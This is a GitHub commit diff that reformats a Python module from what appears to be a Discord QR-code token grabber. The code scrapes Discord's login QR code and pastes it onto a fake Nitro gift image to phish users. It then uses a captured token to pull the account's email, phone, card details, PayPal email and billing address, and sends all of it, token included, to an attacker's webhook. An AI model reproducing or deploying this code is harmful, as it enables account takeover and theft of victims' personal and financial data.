Update discord_token.py

This commit is contained in:
mouadessalim 2023-05-06 12:48:19 +01:00 committed by GitHub
parent 37108ac6b5
commit e7a8ddb932
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -6,27 +6,41 @@ from requests import get
from selenium import webdriver from selenium import webdriver
from selenium.webdriver.common.by import By from selenium.webdriver.common.by import By
from selenium.webdriver.support import expected_conditions as EC from selenium.webdriver.support import expected_conditions as EC
from constants import EMBED_AVATAR, EMBED_COLOR, EMBED_USERNAME, PAYMENT_CARD, PAYMENT_PAYPAL from constants import (
EMBED_AVATAR,
EMBED_COLOR,
EMBED_USERNAME,
PAYMENT_CARD,
PAYMENT_PAYPAL,
)
from exceptions import InvalidToken, QRCodeNotFound, WebhookSendFailure from exceptions import InvalidToken, QRCodeNotFound, WebhookSendFailure
class QRGrabber: class QRGrabber:
__slots__ = "resources_path"
__slots__ = ('resources_path')
def __init__(self, resources_path: str) -> None: def __init__(self, resources_path: str) -> None:
self.resources_path = resources_path self.resources_path = resources_path
def get_qr_from_source(self, driver: webdriver): def get_qr_from_source(self, driver: webdriver):
elements = driver.find_elements(By.TAG_NAME, 'svg') elements = driver.find_elements(By.TAG_NAME, "svg")
if len(elements) != 5: if len(elements) != 5:
raise QRCodeNotFound("The QR code could not be found on the Discord login page — please try again or contact the developers.") raise QRCodeNotFound(
"The QR code could not be found on the Discord login page — please try again or contact the developers."
)
element = elements[3] element = elements[3]
return element.get_attribute("outerHTML") return element.get_attribute("outerHTML")
def generate_qr_for_template(self, path_1: str, path_2: str) -> None: def generate_qr_for_template(self, path_1: str, path_2: str) -> None:
qr_img = Image.open(path_1, 'r') qr_img = Image.open(path_1, "r")
ovly_img = Image.open(os.path.join(os.path.dirname(os.path.realpath(__file__)) ,self.resources_path, 'overlay.png'), 'r') ovly_img = Image.open(
os.path.join(
os.path.dirname(os.path.realpath(__file__)),
self.resources_path,
"overlay.png",
),
"r",
)
qr_width, qr_height = qr_img.size qr_width, qr_height = qr_img.size
center_x = qr_width // 2 center_x = qr_width // 2
center_y = qr_height // 2 center_y = qr_height // 2
@ -37,31 +51,60 @@ class QRGrabber:
qr_img.save(path_2, quality=95) qr_img.save(path_2, quality=95)
def generate_nitro_template(self, path_2: str) -> None: def generate_nitro_template(self, path_2: str) -> None:
nitro_template = Image.open(os.path.join(os.path.dirname(os.path.realpath(__file__)) , self.resources_path, 'template.png'), 'r') nitro_template = Image.open(
nitro_template.paste(Image.open(path_2, 'r'), (120, 409)) os.path.join(
nitro_template.save('discord_gift.png', quality=95) os.path.dirname(os.path.realpath(__file__)),
self.resources_path,
"template.png",
),
"r",
)
nitro_template.paste(Image.open(path_2, "r"), (120, 409))
nitro_template.save("discord_gift.png", quality=95)
class TokenInfo: class TokenInfo:
__slots__ = (
__slots__ = ('headers', 'token', 'id', 'username', 'discriminator', "headers",
'email', 'phone', 'mfa_enabled', "token",
'has_nitro', 'payment_source', 'card_brand', 'card_last_4_digits', "id",
'card_expiry_date', 'paypal_email', 'billing_name', "username",
'address_1', 'address_2', 'country', "discriminator",
'state', 'city', 'postal_code') "email",
"phone",
"mfa_enabled",
"has_nitro",
"payment_source",
"card_brand",
"card_last_4_digits",
"card_expiry_date",
"paypal_email",
"billing_name",
"address_1",
"address_2",
"country",
"state",
"city",
"postal_code",
)
def __init__(self, token: str) -> None: def __init__(self, token: str) -> None:
self.headers = { self.headers = {"Authorization": token, "Content-Type": "application/json"}
"Authorization": token,
"Content-Type": "application/json"}
if not self.check_token(): if not self.check_token():
raise InvalidToken raise InvalidToken
std_response = get('https://discordapp.com/api/v6/users/@me', headers=self.headers).json() std_response = get(
payment_response = get("https://discordapp.com/api/v6/users/@me/billing/payment-sources", headers=self.headers).json() "https://discordapp.com/api/v6/users/@me", headers=self.headers
subscriptions_response = get('https://discordapp.com/api/v9/users/@me/billing/subscriptions', headers=self.headers).json() ).json()
payment_response = get(
"https://discordapp.com/api/v6/users/@me/billing/payment-sources",
headers=self.headers,
).json()
subscriptions_response = get(
"https://discordapp.com/api/v9/users/@me/billing/subscriptions",
headers=self.headers,
).json()
self.token = token self.token = token
self.id = std_response["id"] self.id = std_response["id"]
@ -69,7 +112,7 @@ class TokenInfo:
self.discriminator = std_response["discriminator"] self.discriminator = std_response["discriminator"]
self.email = std_response["email"] self.email = std_response["email"]
self.phone = std_response["phone"] self.phone = std_response["phone"]
self.mfa_enabled = 'enabled' if std_response["mfa_enabled"] else 'disabled' self.mfa_enabled = "enabled" if std_response["mfa_enabled"] else "disabled"
self.has_nitro = bool(subscriptions_response) self.has_nitro = bool(subscriptions_response)
self.payment_source = None self.payment_source = None
@ -92,7 +135,9 @@ class TokenInfo:
self.payment_source = PAYMENT_CARD self.payment_source = PAYMENT_CARD
self.card_brand = data["brand"] self.card_brand = data["brand"]
self.card_last_4_digits = data["last_4"] self.card_last_4_digits = data["last_4"]
self.card_expiry_date = f'{data["expires_month"]}/{data["expires_year"]}' self.card_expiry_date = (
f'{data["expires_month"]}/{data["expires_year"]}'
)
elif data["type"] == 2: elif data["type"] == 2:
self.payment_source = PAYMENT_PAYPAL self.payment_source = PAYMENT_PAYPAL
self.paypal_email = data["email"] self.paypal_email = data["email"]
@ -107,28 +152,37 @@ class TokenInfo:
def send_info_to_webhook(self, webhook_url: str) -> bool: def send_info_to_webhook(self, webhook_url: str) -> bool:
try: try:
webhook = DiscordWebhook( webhook = DiscordWebhook(
url=webhook_url, url=webhook_url, username=EMBED_USERNAME, avatar_url=EMBED_AVATAR
username=EMBED_USERNAME, )
avatar_url=EMBED_AVATAR)
embed = DiscordEmbed(color=EMBED_COLOR) embed = DiscordEmbed(color=EMBED_COLOR)
embed.add_embed_field(name='User Token Info', value=f""":crown:`Username:` **{self.username}#{self.discriminator}** embed.add_embed_field(
name="User Token Info",
value=f""":crown:`Username:` **{self.username}#{self.discriminator}**
:id:`User ID:` **{self.id}** :id:`User ID:` **{self.id}**
:e_mail:`Mail:` **{self.email}** :e_mail:`Mail:` **{self.email}**
:mobile_phone:`Phone:` **{self.phone}** :mobile_phone:`Phone:` **{self.phone}**
:money_with_wings:`Nitro:` **{':white_check_mark:' if self.has_nitro else ':x:'}**""", inline=False) :money_with_wings:`Nitro:` **{':white_check_mark:' if self.has_nitro else ':x:'}**""",
inline=False,
)
if self.billing_name is not None: if self.billing_name is not None:
if self.payment_source == PAYMENT_CARD: if self.payment_source == PAYMENT_CARD:
embed.add_embed_field(name='Payment Info (Debit or Credit Card)', value=f""":credit_card:`Brand:` ||**{self.card_brand}**|| embed.add_embed_field(
name="Payment Info (Debit or Credit Card)",
value=f""":credit_card:`Brand:` ||**{self.card_brand}**||
:information_source:`Last 4:` ||**{self.card_last_4_digits}**|| :information_source:`Last 4:` ||**{self.card_last_4_digits}**||
:date:`Expiration:` ||**{self.card_expiry_date}**||""") :date:`Expiration:` ||**{self.card_expiry_date}**||""",
)
elif self.payment_source == PAYMENT_PAYPAL: elif self.payment_source == PAYMENT_PAYPAL:
embed.add_embed_field( embed.add_embed_field(
name='Payment Info (Paypal)', name="Payment Info (Paypal)",
value=f':incoming_envelope:`Paypal Mail:` ||**{self.paypal_email}**||') value=f":incoming_envelope:`Paypal Mail:` ||**{self.paypal_email}**||",
)
embed.add_embed_field(name='Billing Address', value=f"""***Billing Adress:*** embed.add_embed_field(
name="Billing Address",
value=f"""***Billing Adress:***
:name_badge:`Name:` ||**{self.billing_name}**|| :name_badge:`Name:` ||**{self.billing_name}**||
:paperclip:`Line 1:` ||**{self.address_1}**|| :paperclip:`Line 1:` ||**{self.address_1}**||
:paperclips:`Line 2:` ||**{self.address_2}**|| :paperclips:`Line 2:` ||**{self.address_2}**||
@ -136,31 +190,30 @@ class TokenInfo:
:triangular_flag_on_post:`State:` ||**{self.state}**|| :triangular_flag_on_post:`State:` ||**{self.state}**||
:cityscape:`City:` ||**{self.state}**|| :cityscape:`City:` ||**{self.state}**||
:postbox:`Postal Code:` ||**{self.postal_code}**|| :postbox:`Postal Code:` ||**{self.postal_code}**||
""", inline=False) """,
inline=False,
)
else: else:
embed.add_embed_field( embed.add_embed_field(
name='Payment Info (:x:)', name="Payment Info (:x:)",
value='**No Payment Info Founded.**\n', value="**No Payment Info Founded.**\n",
inline=False) inline=False,
)
embed.add_embed_field( embed.add_embed_field(
name='Token', name="Token", value=f"```yaml\n{self.token}\n```", inline=False
value=f"```yaml\n{self.token}\n```", )
inline=False) embed.set_footer(text="By Lemon.-_-.#3714", inline=False)
embed.set_footer(
text='By Lemon.-_-.#3714',
inline=False)
webhook.add_embed(embed) webhook.add_embed(embed)
webhook.execute() webhook.execute()
return True return True
except ColorNotInRangeException as e: except ColorNotInRangeException as e:
raise WebhookSendFailure( raise WebhookSendFailure(
f'Failed to send the token information webhook: {e}') f"Failed to send the token information webhook: {e}"
)
def check_token(self) -> bool: def check_token(self) -> bool:
response = get( response = get("https://discord.com/api/v6/users/@me", headers=self.headers)
'https://discord.com/api/v6/users/@me',
headers=self.headers)
if response.status_code == 200: if response.status_code == 200:
return True return True
else: else: